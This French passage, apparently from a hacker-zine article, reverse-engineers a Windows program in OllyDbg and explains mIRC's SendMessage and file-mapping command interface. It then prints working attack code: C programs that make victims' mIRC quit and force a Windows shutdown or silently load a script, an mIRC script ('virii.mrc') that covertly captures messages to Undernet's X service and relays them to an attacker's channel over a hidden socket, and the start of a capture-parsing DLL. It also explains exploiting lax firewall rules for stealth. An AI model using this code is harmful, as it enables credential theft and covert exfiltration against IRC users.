saloperie d'injection.
4.3 HOLY ou OLLY
Bow down before the power of HOLY... err, je veux dire OLLY. Avant que
les religieux ne commencent à s'émoustiller, c'était un jeu de mots très
plate sur la phonétique des deux termes. Il n'est pas question de
religions ici. duh! Concentration s.v.p. OllyDbg
(http://www.ollydbg.de/) est une application que j'apprécie énormément
et qui vaut la peine d'être mentionné. Il s'agit en fait d'un débuggeur
pour Windows. Deux choses très importantes à retenir: puissant et
surtout, gratuit.
Il est maintenant temps d'ouvrir le petit programme dont on cherche à
reproduire les fonctionnalités sous OllyDbg. En à peine une seconde,
nous avons droit à un spectacle magnifique: un listing assembleur
32-bit.
En regardant le listing on peut voir le code que nous venons à
l'instant de produire:
[00401151]
PUSH EBP
MOV EBP,ESP
ADD ESP,-14
LEA EAX,DWORD PTR SS:[EBP-4]
PUSH EAX ; /phToken
PUSH 28 ; |DesiredAccess =
TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
CALL <JMP.&KERNEL32.GetCurrentProcess> ; |[GetCurrentProcess
PUSH EAX ; |hProcess
CALL <JMP.&ADVAPI32.OpenProcessToken> ; \OpenProcessToken
TEST EAX,EAX
JNZ SHORT mIRC_hig.0040116F
XOR EAX,EAX
JMP SHORT mIRC_hig.004011C4
LEA EDX,DWORD PTR SS:[EBP-10]
PUSH EDX ; /pLocalId
PUSH mIRC_hig.00409128 ; |Privilege = "SeShutdownPrivilege"
PUSH 0 ; |SystemName = NULL
CALL <JMP.&ADVAPI32.LookupPrivilegeValue>; \LookupPrivilegeValueA
MOV DWORD PTR SS:[EBP-14],1
MOV DWORD PTR SS:[EBP-8],2
PUSH 0 ; /pRetLen = NULL
PUSH 0 ; |pPrevState = NULL
PUSH 0 ; |PrevStateSize = 0
LEA ECX,DWORD PTR SS:[EBP-14] ; |
PUSH ECX ; |pNewState
PUSH 0 ; |DisableAllPrivileges = FALSE
PUSH DWORD PTR SS:[EBP-4] ; |hToken
CALL <JMP.&ADVAPI32.AdjustTokenPrivilege>; \AdjustTokenPrivileges
CALL <JMP.&KERNEL32.GetLastError> ; [GetLastError
TEST EAX,EAX
JE SHORT mIRC_hig.004011AE
EAX,EAX
JMP SHORT mIRC_hig.004011C4
PUSH 0 ; /Reserved = 0
PUSH 5 ; |Options = EWX_SHUTDOWN|EWX_FORCE
CALL <JMP.&USER32.ExitWindowsEx> ; \ExitWindowsEx
TEST EAX,EAX
JNZ SHORT mIRC_hig.004011BF
XOR EAX,EAX
JMP SHORT mIRC_hig.004011C4
MOV EAX,1
MOV ESP,EBP
POP EBP
RETN
J'ai enlevé les offsets et les opcodes qu'affiche OllyDbg simplement
pour respecter un formatage de 80 caractères de large, voilà. Mais ce
n'est pas ce que nous cherchons puisque nous l'avons déjà codé. Ce
que nous cherchons c'est comment peut-on interagir avec mIRC via un
programme externe. Nous parcourons donc le code à la recherche
d'appel à des fonctions qui pourraient être des pistes intéressantes.
JACKPOT!!!!!
Voilà qui est fortement intéressant:
[004011C8]
PUSH EBP
MOV EBP,ESP
PUSH EBX
PUSH ESI
MOV ESI,DWORD PTR SS:[EBP+8]
MOV EBX,DWORD PTR SS:[EBP+C]
PUSH mIRC_hig.0040913C ; /Arg2 =
0040913C ASCII "/amsg OH NOOOOOO !!!!"
PUSH EBX ; |Arg1
CALL mIRC_hig.004022F8 ; \mIRC_hig.004022F8
ADD ESP,8
PUSH 0 ; /lParam = 0
PUSH 1 ; |wParam = 1
PUSH 4C8 ; |Message = MSG(4C8)
PUSH ESI ; |hWnd
CALL <JMP.&USER32.SendMessageA> ; \SendMessageA
PUSH mIRC_hig.00409152 ; /Arg2 =
00409152 ASCII "/quit Suicide. (edcba)"
PUSH EBX ; |Arg1
CALL mIRC_hig.004022F8 ; \mIRC_hig.004022F8
ADD ESP,8
PUSH 0 ; /lParam = 0
PUSH 1 ; |wParam = 1
PUSH 4C8 ; |Message = MSG(4C8)
PUSH ESI ; |hWnd
CALL <JMP.&USER32.SendMessageA> ; \SendMessageA
MOV EAX,1
POP ESI
POP EBX
POP EBP
RETN 8
[00401218]
PUSH EBP
MOV EBP,ESP
PUSH EBX
PUSH ESI
PUSH mIRC_hig.00409169 ; /MapName = "mIRC"
PUSH 1000 ; |MaximumSizeLow = 1000
PUSH 0 ; |MaximumSizeHigh = 0
PUSH 4 ; |Protection = PAGE_READWRITE
PUSH 0 ; |pSecurity = NULL
PUSH -1 ; |hFile = FFFFFFFF
CALL <JMP.&KERNEL32.CreateFileMappingA> ; \CreateFileMappingA
MOV EBX,EAX
TEST EBX,EBX
JE SHORT mIRC_hig.0040126D
PUSH 0 ; /MapSize = 0
PUSH 0 ; |OffsetLow = 0
PUSH 0 ; |OffsetHigh = 0
PUSH 6 ; |AccessMode = 6
PUSH EBX ; |hMapObject
CALL <JMP.&KERNEL32.MapViewOfFile> ; \MapViewOfFile
MOV ESI,EAX
TEST ESI,ESI
JNZ SHORT mIRC_hig.00401256
PUSH EBX ; /hObject
CALL <JMP.&KERNEL32.CloseHandle> ; \CloseHandle
JMP SHORT mIRC_hig.0040126D
PUSH ESI ; /lParam
PUSH mIRC_hig.004011C8 ; |Callback = mIRC_hig.004011C8
CALL <JMP.&USER32.EnumWindows> ; \EnumWindows
PUSH ESI ; /BaseAddress
CALL <JMP.&KERNEL32.UnmapViewOfFile> ; \UnmapViewOfFile
PUSH EBX ; /hObject
CALL <JMP.&KERNEL32.CloseHandle> ; \CloseHandle
POP ESI
POP EBX
POP EBP
RETN
On remarque que les API SendMessage, CreateFileMapping, MapViewOfFile
et EnumWindows sont utilisés dans la transmission des commandes que
l'on désire que mIRC exécute. Maintenant il ne reste plus qu'à
comprendre comment sont utilisées ces fonctions.
Première étape à la compréhension et résolution de problème c'est de
savoir ce que fait chaque partie du puzzle. Donc on doit savoir,
qu'est-ce que SendMessage fait exactement, même chose pour
CreateFileMapping et les autres API en jeux.
L'API EnumWindows énumère tous les "top-level windows" et ignore les
"child windows". Pour chaque fenêtre, elle passe le handle cette
dernière à une fonction callback définie par l'utilisateur. Dans la
situation actuelle, la fonction callback est située à l'adresse suivante:
004011C8. Qui se trouve à être là où l'on trouve les chaines que l'on
veut envoyer à mIRC et où se trouvent les deux appels à la fonction
SendMessage.
La fonction SendMessage envoie un message spécifié à une ou plusieurs
fenêtres, le message étant une valeur numérique. Les messages système
ont une valeur inférieure à WM_USER-1, donc de 1023 (1024 étant la
valeur de WM_USER). Une application peut aussi définir c'est propre
message en autant qu'elle utilise les valeurs supérieures ou égales à
WM_USER.
Exemple de message système:
WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_KEYDOWN, WM_DESTROY, WM_COMMAND, ...
Or dans notre cas présent, on constate que le message envoyé via
SendMessage dans le programme ci-dessus à la valeur 4C8 qui est la
représatation hexadécimal de la valeur 1224. Donc, le programme
communique avec mIRC via un message probablement défini par mIRC.
Puisque la valeur du message est de 1224 (4C8), ce message ne fait pas
référence à un message système déjà existant, mais probablement à un
message définie par l'application ciblée, dans notre cas mIRC. Il nous
faut trouver aussi que représentent les deux autres paramètres de l'API
SendMessage. Leur valeur respective étant 1 et 0. Nous y reviendrons
plus tard.
CreateFileMapping est une fonction qui permet de créer un fichier
qui pourra être partagé (lecture et/ou écriture) entre processus.
C'est une façon, mais efficace de partager des données entre processus.
CreateFileMapping crée, si le fichier n'existe pas déjà, ou ouvre un
fichier selon le nom spécifié. Or dans le listing ci-dessus, la
fonction CreateFileMapping tante que créer ou d'ouvrir un fichier sous
le nom de "mIRC". Il se pourrait donc, sachant qu'un fichier mappé
peut être partagé entre processus, que mIRC créer ce fichier lui-même
lors de son exécution.
MapViewOfFile permet à une application d'avoir accès a un fichier
mappé, préalablement ouvert avec OpenFileMapping ou CreateFileMapping,
dons son propre espace mémoire. La fonction retourne l'adresse du
buffer que nous pourrons utiliser pour écrire les données dans le
fichier mappé.
Vous avez peut-être remarqué, et si ce n'est pas le cas je vous en
informe à l'instant, que les commandes que nous voulons que mIRC
exécute sont passé en paramètre a une fonction locale du programme
se trouvant à l'offset suivant 004022F8. Je ne vous montrerai pas le
code mais en gros, elle copie la chaine spécifiée dans un buffer. Ce
buffer se trouve à être le fichier mappé dont on à obtenu l'adresse
mémoire via MapViewOfFile, comme expliqué auparavant.
Il ne nous reste plus qu'à vérifier si mIRC crée bel et bien un fichier
mappé nommé mIRC. Il existe probablement de meilleures façons ou des
outils spécifiques qui nous permettraient d'avoir la liste des fichiers
ouverts par un processus. Mais nous allons utiliser encore notre bon
ami, Ollydbg. Alors, on ouvre mIRC avec notre cher débuggeur. Et on
recherche les fonctions CreateFileMapping ou OpenFileMapping.
KABOUM!!
[004E1D40]
SUB ESP,8
PUSH EBX
PUSH EBP
MOV DWORD PTR SS:[ESP+8],EDX
MOV EBX,ECX
CALL mIRC.004E9750
MOV EBP,EAX
TEST EBP,EBP
JNZ SHORT mIRC.004E1D5E
POP EBP
POP EBX
ADD ESP,8
RETN 4
TEST EBX,EBX
JE SHORT mIRC.004E1D6A
CMP EBX,DWORD PTR DS:[5C6688]
JNZ SHORT mIRC.004E1D6D
MOV EBX,DWORD PTR SS:[EBP]
PUSH ESI
PUSH EDI
mIRC.00594810 ; /MappingName = "mIRC"
PUSH 1 ; |InheritHandle = TRUE
PUSH 0F001F ; |Access = F001F
CALL DWORD PTR DS:[<&KERNEL32.OpenFileMa>; \OpenFileMappingA
MOV ESI,EAX
TEST ESI,ESI
MOV DWORD PTR SS:[ESP+14],ESI
JE SHORT mIRC.004E1DAA
PUSH 0 ; /MapSize = 0
PUSH 0 ; |OffsetLow = 0
PUSH 0 ; |OffsetHigh = 0
PUSH 0F001F ; |AccessMode = F001F
PUSH ESI ; |hMapObject
CALL DWORD PTR DS:[<&KERNEL32.MapViewOfF>; \MapViewOfFile
MOV EDI,EAX
TEST EDI,EDI
JNZ SHORT mIRC.004E1DB6
PUSH ESI ; /hObject
CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
POP EDI
POP ESI
POP EBP
XOR EAX,EAX
POP EBX
ADD ESP,8
RETN 4
MOV EAX,DWORD PTR SS:[ESP+10]
XOR ESI,ESI
CMP EAX,4C8
JNZ SHORT mIRC.004E1DF8
MOV EAX,DWORD PTR SS:[ESP+1C]
TEST AL,1
JE SHORT mIRC.004E1DD8
AND AL,4
NEG AL
SBB EAX,EAX
AND EAX,5
MOV ESI,EAX
JMP SHORT mIRC.004E1DE5
TEST AL,2
JE SHORT mIRC.004E1DE5
MOVZX ESI,AL
AND ESI,4
OR ESI,3
PUSH EBP
PUSH 0
PUSH 0
PUSH ESI
PUSH 0
MOV EDX,EDI
MOV ECX,EBX
CALL mIRC.0043F030
JMP SHORT mIRC.004E1E0E
PUSH EBP ; /Arg7
PUSH 0 ; |Arg6 = 00000000
PUSH 0 ; |Arg5 = 00000000
PUSH 0 ; |Arg4 = 00000000
PUSH 0 ; |Arg3 = 00000000
PUSH 0 ; |Arg2 = 00000000
PUSH 0 ; |Arg1 = 00000000
MOV EDX,EDI ; |
MOV ECX,EBX ; |
CALL mIRC.004A0030 ; \mIRC.004A0030
TEST EAX,EAX
JE SHORT mIRC.004E1E17
MOV ESI,1
PUSH EDI ; /BaseAddress
CALL DWORD PTR DS:[<&KERNEL32.UnmapViewO>; \UnmapViewOfFile
MOV EAX,DWORD PTR SS:[ESP+14]
PUSH EAX ; /hObject
CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
POP EDI
MOV EAX,ESI
POP ESI
POP EBP
POP EBX
ADD ESP,8
RETN 4
On a trouvé. La fonction OpenFileMapping est présente. Cela nous
apprend que mIRC ne crée pas ce fichier au démarrage. Donc, il doit
probablement le lire lorsqu'il reçoit un message via SendMessage().
Maintenant on pourrait débugger mIRC afin de savoir à quoi servent les
arguments que l'on envoie via SendMessage et pourquoi on écrit les
données dans un fichier partagé. Même si l'on peut imaginer que le
message envoyé par SendMessage informe mIRC qu'il y a des données à
être lu dans le fichier mappé. Mais comme il semblerait que ce soit une
fonctionnalité intégrée dans mIRC, il est fort à parier que nous
trouverons les informations manquantes dans le fichier d'aide.
Petite recherche avec le mot SendMessage nous amène sur un page nous
expliquant comment d'autres processus peuvent communiquer avec mIRC.
Voici la traduction de la page d'aide trouvé dans le fichier mirc.hlp:
SENDMESSAGE
Les applications peuvent désormais utiliser SendMessage() pour
communiquer avec mIRC.
EXECUTER DES COMMANDES
L'appel suivant de la fonction SendMessage() informe mIRC qu'il doit
exécuter la commande spécifié.
SendMessage(mHwnd, WM_MCOMMAND, cMethod, 0L)
mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre
d'un 'Channel', d'un 'Query', etc.
WM_MCOMMAND - qui doit être définie comme étant WM_USER + 200
cMethod - comment mIRC doit traiter le message, comme:
1 = si il était tapé dans un 'editbox'
2 = si il était tapé dans un 'editbox', 'send as plain text'
4 = utilise la protection contre le flood d'mIRC si activé,
peut être employé avec 1 ou 2.
EVALUER LES IDENTIFIANTS ET LES VARIABLES
L'appel suivant à la fonction SendMessage() informe mIRC qu'il doit
évaluer le contenu de toutes les lignes spécifié.
SendMessage(mHwnd, WM_MEVALUATE, 0, 0L)
mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre
d'un 'Channel', d'un 'Query', etc.
WM_MEVALUATE - doit être définie comme étant WM_USER + 201
FICHERS MAPPÉS
Les applications qui envoient ses messages doivent créer un fichier
mappé nommé mIRC avec CreateFileMapping().
Quand mIRC reçois les messages précédents, il va ouvrir ce fichier et
utiliser les données qu'il contient pour exécuter la commande ou
l'évaluation. Dans le cas d'une évaluation, mIRC va écrire le résultat
dans le fichier mappé.
Le fichier mappé doit avoir un gosseur d'au moins 1024 octects.
Pour prévenir les accès multiples au fichier mappé, votre code doit
vérifier si le fichier existe ou non avant de l'utiliser. Si il existe,
vous devriez assumer que ce fichier est utilisé par un autre programme
et réessayer plus tard.
Voilà qui confirme notre hypothèse. N'est-ce pas merveilleux? Passons
au code maintenant.
==---------------------- test3.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h> // Generic-Text Mappings
#define MAX_CNAME_SIZE 512
#define MAX_FILEMAPPING_SIZE_LOW 1024
TCHAR g_tcsClassName[] = _T("mIRC");
BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam);
BOOL myshutdown();
int main()
{
EnumWindows(&ewcallback,(LPARAM)g_tcsClassName);
myshutdown();
return 0;
}
BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam)
{
TCHAR tscCName[MAX_CNAME_SIZE];
TCHAR tscMsg[] = _T("/.quit Damn it! Owned by Mindkind");
HANDLE hFile;
LPVOID lpBaseAddress;
GetClassName(hwnd, tscCName,MAX_CNAME_SIZE);
if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) {
hFile = CreateFileMapping(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
MAX_FILEMAPPING_SIZE_LOW,
tscCName );
if ( hFile ) {
lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0);
if (lpBaseAddress) {
// On copy notre chaine dans le fichier...
CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg));
// On avertit mIRC qu'il y a des données dans le fichier
SendMessage(hwnd,WM_USER+200,1,0);
// unmap la view
UnmapViewOfFile(lpBaseAddress);
}
CloseHandle(hFile);
}
}
return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue
// l'énumération des fenêtres.
}
BOOL myshutdown()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
DWORD dwRet;
// demande un token
if ( !OpenProcessToken(
GetCurrentProcess(), // handle du processus courant
TOKEN_ADJUST_PRIVILEGES,
&hToken ) )
{
return FALSE;
}
// recherche le LUID du privilège SE_SHUTDOWN_NAME
if ( !LookupPrivilegeValue(
NULL, // recherche sur le système local
SE_SHUTDOWN_NAME,
&tp.Privileges[0].Luid ) )
{
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1; // un seul privilège a configuré
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// ajust le token selon les nouveaux privilèges demandés
if ( !AdjustTokenPrivileges(
hToken,
FALSE, // ne PAS désactiver TOUS les privilèges
&tp,
0, // comme PreviousState est NULL, on
// mets 0
(PTOKEN_PRIVILEGES)NULL, // PreviousState
0 ) ) // 0 puisque PreviousState est NULL
{
CloseHandle(hToken);
return 0;
}
dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel
// CloseHandle. Cette dernière modifie le contenu
// de GetLastError();
CloseHandle(hToken);
if (dwRet != ERROR_SUCCESS)
return FALSE;
ExitWindowsEx(
EWX_SHUTDOWN|EWX_FORCE,
0
);
return TRUE;
}
Voilà, pour chaque instance de mIRC, notre programme va déconnecter
la victime du serveur avec comme message "Damn it! Owned by Mindkind".
Une fois que EnumWindows a terminé, le programme va forcer Windows
à redémarrer.
5. Play time!
Je pense personnellement que cette section est la plus intéressante.
Maintenant que nous connaissons cette fonctionnalité, il ne nous reste plus
qu'à l'exploité de façon plus agressive, tout en restant furtif,
contrairement à ce que nous avons fait jusqu'à maintenant dans l'exemple
précédent.
Comme nous l'avons constaté, nous pouvons faire exécuter n'importe quel
commande à mIRC. Nous pouvons donc lui dire de charger un script en
particulier, disons virii.mrc. Pour indiquer à mIRC de charger un script,
nous devons utiliser la commande 'load' avec comme options les switches
'-rs' et spécifier le nom du fichier script à charger. Dans notre exemple
ce sera:
/.load -rs virii.mrc
Nous exécutons la commande 'load' en mode silencieux (/.) sinon la commande
affiche qu'elle à chargé un fichier nommé virii.mrc. Vous devez prendre
note que le fichier virii.mrc ne se retrouvera probablement pas dans le
répertoire de mIRC, vous devez donc spécifier le chemin complet du fichier.
<IMPORTANT>
La majorité des utilisateurs qui possèdent un par-feu pour se protéger ne
prenne pas le temps de créer les règles, ils ne font que cliquer sur 'ok'
ou 'accept' losrque leur par-feu leur signala qu'une application tente de
se connecter à internet. Et ils sont encore moins suspicieux s’ils
connaissent l'application. Les autres, ceux qui ont pris le temps de faire
des règles les font trop souples. Exemple, vous voulez autoriser mIRC à
se connecter à un serveur IRC. Je vous demande d'être franc ici, est-ce que
vous spécifiez quels serveurs vous autorisez ou vous dis simplement:
n'importe quel ip tant que le port de l'hôte soit entre 6666-7000 ?
Je suis près à mettre ma main au feu que la quasi totalité opte pour la
deuxième option. Gardez cette pensée en tête pour le reste de cet
article.
</IMPORTANT>
Le script virii tente de se connecter à un serveur IRC via les sockets mIRC
à chaque connexion a un serveur IRC effectué par la victime. Si le serveur
choisi par la victime est le même que notre serveur, le script n'essaie pas
de se connecter à ce dernier via les sockets mIRC. Une fois la victime
connectée à un serveur, le script lance la capture des données envoyées et
reçues. La commande 'debug', fournie par mIRC, nous permet de voir les
données crues (RAW), telles qu'elles sont envoyées par le serveur avant que mIRC
ait la chance de les traiter. On voit aussi les données envoyé par mIRC une
fois tous les traitements faits. Aussi tôt que le script intercept des
données qu'il recherche, toutes les données que le client envoie à 'X' ou
à 'X@channels.undernet.org', et les copy sur un canal spécifique sur notre
serveur IRC.
==------------------------- virii.mrc ------------------------==
; fonction callback
; /help /debug pour plus d'information
alias roguedbg {
/.tokenize 32 $1-
if ($0 >= 4) {
if (($1 == ->) && (($4 == x) || ($4 == x@channels.undernet.org))) {
/.roguesend PRIVMSG #virii $+(:,$2-)
}
}
return
}
; fonction rogueconnect
alias -l rogueconnect {
; vérifie si on est déjà connecté...
if ($sock(roguesocket).mark) return
; sinon est-ce que la victime est connectée sur notre serveur?
if ($network == undernet) return
if ($server iswm *.undernet.org) return
; non? Alors, on se connect...
/.sockopen roguesocket us.undernet.org 6667
/.sockmark roguesocket connecting
}
; fonction roguesend
alias -l roguesend {
; est-ce que nous avons des données à envoyé?
if (!$1-) return
; oui? est-ce que le client est sur notre serveur?
if ($network == undernet) { /.raw $1- | return }
if ($server iswm *.undernet.org) { /.raw $1- | return }
; non? est-ce que notre socket est ouvert?
if (!$sock(roguesocket).mark) return
; oui? ok on envoi les données...
/.sockwrite -tn roguesocket $1-
}
; fonction rogueparseircd
; attend le MOTD pour confirmer la connexion au serveur
; répond au PING du serveur
alias -l rogueparseircd {
;vérifie pour 'RPL_ENDOFMOTD' (376) ou 'ERR_NOMOTD' (422)
if (($2 == 376) || ($2 == 422)) /.sockmark roguesocket connected
;vérifie pour PING
if ($1 == PING) /.roguesend PONG $2
}
; pour chaque connexion à un serveur
on *:connect:{
; si notre fenêtre personnalisée est présente, nous la créeons
if (!$window(@debug).title) /.window -Bhk0n @debug
; on l'appel pour être sur qu'à chaque connexion client nous avons notre
; connexion à notre serveur rogue
/.rogueconnect
; on lance la capture des données
/.debug -i @debug roguedbg
}
on *:sockopen:roguesocket:{
; vérifie que la connexion n'a pas échoué
if ($sockerr > 0) return
;
; Random 'nickname'
;
var %i = 1
var %nicktmp
while (%i <= 9) {
if ($calc(%i % 2) = 0) %nicktmp = $+(%nicktmp,$chr($rand($asc(0),$asc(9))))
else %nicktmp = $+(%nicktmp,$chr($rand($asc(a),$asc(Z))))
inc %i
}
/.sockwrite -tn $sockname NICK %nicktmp
;
; Random 'user' et 'fullname' + invisible (8)
;
%i = 1
var %identtmp
while (%i <= 9) {
%identtmp = $+(%identtmp,$chr($rand($asc(a),$asc(z))))
inc %i
}
/.sockwrite -tn $sockname USER %identtmp 8 * $+(:,%identtmp)
}
on *:sockread:roguesocket:{
if ($sockerr > 0) return
:nextread
sockread %temp
if ($sockbr == 0) return
if (%temp != $null) {
/.rogueparseircd %temp
}
goto nextread
}
Vous devez placer le fichier virii.mrc dans la racine de votre disque C
pour que le programme suivant fonction. Si vous le placez ailleurs, vous
devez changer le chemin d'accès dans le code ci-dessous.
-------------------------- test4.cpp ------------------------
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h> // Generic-Text Mappings
#define MAX_CNAME_SIZE 512
#define MAX_FILEMAPPING_SIZE_LOW 1024
TCHAR g_tcsClassName[] = _T("mIRC");
BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam);
int main()
{
EnumWindows(&ewcallback,(LPARAM)g_tcsClassName);
return 0;
}
BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam)
{
TCHAR tscCName[MAX_CNAME_SIZE];
TCHAR tscMsg[] = _T("/.load -rs c:\\virii.mrc");
HANDLE hFile;
LPVOID lpBaseAddress;
GetClassName(hwnd, tscCName,MAX_CNAME_SIZE);
if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) {
hFile = CreateFileMapping(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
MAX_FILEMAPPING_SIZE_LOW,
tscCName );
if ( hFile ) {
lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0);
if (lpBaseAddress) {
// On copy notre chaine dans le fichier...
CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg));
// On avertit mIRC qu'il y a des données dans le fichier
SendMessage(hwnd,WM_USER+200,1,0);
// unmap la view
UnmapViewOfFile(lpBaseAddress);
}
CloseHandle(hFile);
}
}
return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue
// l'énumération des fenêtres.
}
Très simple n'est-ce pas ? Je vous pris de tenir compte que ce script n'est
pas 'foolproof' et que plusieurs améliorations peuvent et doivent être
apporté. Mais je crois qu'il couvre bien l'idée générale. Bon, ce n'est pas
très furtif comme méthode puisque la victime peut s'apercevoir qu'un script
a été chargé et qu'une fenêtre a été créée.
Un autre truc très intéressant que nous propose mIRC c'est la possibilité
de charger des DLLs. Ceci nous donne une plus grande flexibilité et beaucoup
plus de 'puissance'. Pour charger une DLL en mémoire, il faut que nous
appelions une des fonctions contenues dans la DLL en question. Pour ce faire,
il existe trois (3) commandes sous mIRC que l'on peut utiliser:
/dll <filename> <procname> [data]
$dll(filename,procname,data)
$dllcall(filename,alias,procname,data)
Les commandes ci-dessus ouvrent la DLL, appel la routine 'procname', et lui
envoie les données spécifiées. '$dll()' peut retourner un valeur, comme
n'importe quels identifiants. '$dllcall()' est multi-threaded donc il
n'arrêtera pas l'exécution du script et va appeler l'alias spécifié
aussitôt que la routine retourne.
Les routines de la DLL qui seront appelées par mIRC doivent avoir le format
suivant:
int __stdcall procname(
HWND mWnd, // le handle de la fenêtre principale de mIRC
HWND aWnd, // le handle de la fenêtre dans laquelle la commande est
// utilisé, il se peut que se ne soit la fenêtre
// présentement active si la commande est exécutée par un
// 'remote script'.
char *data, // l'information que l'on souhaite envoyer à la DLL.
// au retour, la DLL peut remplir cette variable avec
// la commande qu'elle souhaite que mIRC exécute, si
// désiré.
char *parms, // paramètre de la commande, se trouvant dans 'data', que
// l'on souhaite exécuté.
BOOL show, // est FAUX si le préfix '.' était spécifié, sinon VRAI
BOOL nopause // VRAI si mIRC est dans un routine critique et que la
// DLL ne doit pas suspendre l'exécution de mIRC, ex:
// la DLL de doit pas montrer un fenêtre de dialogue.
);
NOTE: 'data' et 'parms' peuvent contenir chacun 900 caractères maximum.
La DLL peut retourner un entier pour indiquer ce qu'elle veut que mIRC
fasse:
0 - mIRC devrait arrêter (/halt) l'exécution
1 - mIRC devrait continuer l'exécution
2 - une commande est présente dans le champs 'data' que mIRC devrait
exécuter et les paramètres, si présents, se trouve dans 'parms'.
3 - les données que l'identifiant '$dll()' devrait retourner.
Par défaut, mIRC décharge la DLL une fois l'appel de la routine se termine.
On peut donc spécifier à mIRC de garder la DLL chargé en mémoire en
incluant un routine 'LoadDll() dans notre DLL, qui sera appelé par mIRC
la première fois que mIRc chargera cette dernière.
void __stdcall (*LoadDll)(LOADINFO*);
typedef struct {
DWORD mVersion; // version de mIRC dans le 'low' et 'high' mots
// (words)
HWND mHnd; // handle de la fenêtre principale de mIRC
BOOL mKeep; // VRAI, par défaut, pour que mIRC garde la DLL chargé
// après chaque appel. Mettre à FAUX si l'on veut que
// mIRC la décharge après chaque appel
// (fonctionnalité originale de mIRC).
} LOADINFO;
mIRC va automatiquement décharger toute DLL qui n'est pas utilisée depuis
au moins 10 minutes, ou quand mIRC quittera.
Nous pouvons définir une routine, 'UnloadDll()', qui sera appelé par mIRC
avant de décharger la DLL pour que cette dernière puisse quitter
proprement.
int __stdcall (*UnloadDll)(int mTimeout);
'mTimeout' peut contenir les valeurs suivantes:
0 - UnloadDll() est appelé parce que la DLL est sur le point d'être
déchargé dû à la commande '/dll -u' ou parce que mIRC est en court de
fermeture.
1 - UnloadDll() est appelé parce que la DLL n'a pas été utilisée depuis au
moins 10 minutes. La routine 'UnloadDll()' peut retourner zéro (0) pour
garder la DLL chargé, ou un (1) pour permettre le déchargement de cette
dernière.
Il ne nous reste plus qu'à envoyer à mIRC les commandes suivantes:
/.debug "C:\capture.log"
/.dll "C:\virii.dll" initDll "C:\capture.log"
Premièrement, nous disons à mIRC de capturer toute activité entrant ou
sortant du client dans le fichier 'C:\capture.log'. Puis on lui demande de
charger en mémoire la DLL 'virii.dll' et d'exécuter la fonction initDll qui
se trouve à l'intérieur avec comme paramètre le nom du fichier de capture.
Voici le code de la DLL en question:
=------------------------- virii.c -----------------------=
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h> // Generic-Text Mappings
#define STRSAFE_NO_DEPRECATE
#include <strsafe.h> // safer C library string routine
/////////////////
// Defines
//
#define IDT_PARSEDATA 31337
/////////////////
// Variables
//
BOOL bInit = FALSE; // est-ce que la Dll a déjà été initialisée
HWND hmIRC; // handle fenêtre principal mIRC
UINT uTResult = 0; // SetTimer's return value
TCHAR tscFileName[MAX_PATH]; // fichier de capture
OVERLAPPED olstruct; // contien l'offset courant
TCHAR *ptcsData; // buffer des données lu du fichier
DWORD dwDataSize; // dimension du buffer des données
/////////////////
// Structures
//
typedef struct {
DWORD mVersion; // version de mIRC dans le 'low' et 'high' mots
// (words)
HWND mHnd; // handle de la fenêtre principale de mIRC
BOOL mKeep; // VRAI, par défaut, pour que mIRC garde la DLL chargé
// après chaque appel. Mettre à FAUX si l'on veut que
// mIRC la décharge après chaque appel
// (fonctionnalité originale de mIRC).
} LOADINFO;
/////////////////
// Fonctions
//
int WINAPI initDll(HWND,HWND,char*,char*,BOOL,BOOL);
VOID CALLBACK ParseFile(HWND,UINT,UINT,DWORD);
LPVOID VirtualReAlloc(LPVOID,SIZE_T);
TCHAR *ltcschr(const TCHAR*,TCHAR);
TCHAR *litotcs(int,TCHAR*);
void DebugError(LPTSTR);
/////////////////
// Da code
//
void WINAPI LoadDll(LOADINFO* linfo)
{
// copie le handle de la fenêtre principale de mIRC
hmIRC = linfo->mHnd;
}
int WINAPI UnloadDll(int timeout)
{
// si mIRC est en court de fermeture OU que 'dll -u' à été applé
if (!timeout)
{
// ... on arrête le timer
if (uTResult) KillTimer(hmIRC, IDT_PARSEDATA);
// ... on libère l'espace mémoire alloué
if (ptcsData) VirtualFree(ptcsData,0,MEM_RELEASE);
}
return 0;
}
// notre fonction qui sera appelée via la commande 'dll' pour chargé la dll en
// mémoire, initialiser les données et exécuter le timer
int WINAPI initDll(
HWND mWnd,
HWND aWnd,
char *data,
char* parms,
BOOL show,
BOOL nopause)
{
int ilen;
if (!bInit)
{
// initialisation var global
hmIRC = (HANDLE)NULL;
ZeroMemory((PVOID)&olstruct, sizeof(olstruct));
ptcsData = (TCHAR*)NULL;
dwDataSize = 0;
// copie le nom du fichier de capture
ilen = lstrlen(_T(data))+1;
lstrcpyn(tscFileName, _T(data), min(ilen,MAX_PATH));
bInit = TRUE;
uTResult = SetTimer(hmIRC, // handle fenêtre principale mIRC
IDT_PARSEDATA, // timer identifier
120000, // 120-second interval
(TIMERPROC) ParseFile); // timer callback
}
// mIRC doit continuer son exécution normalement
return 1;
}
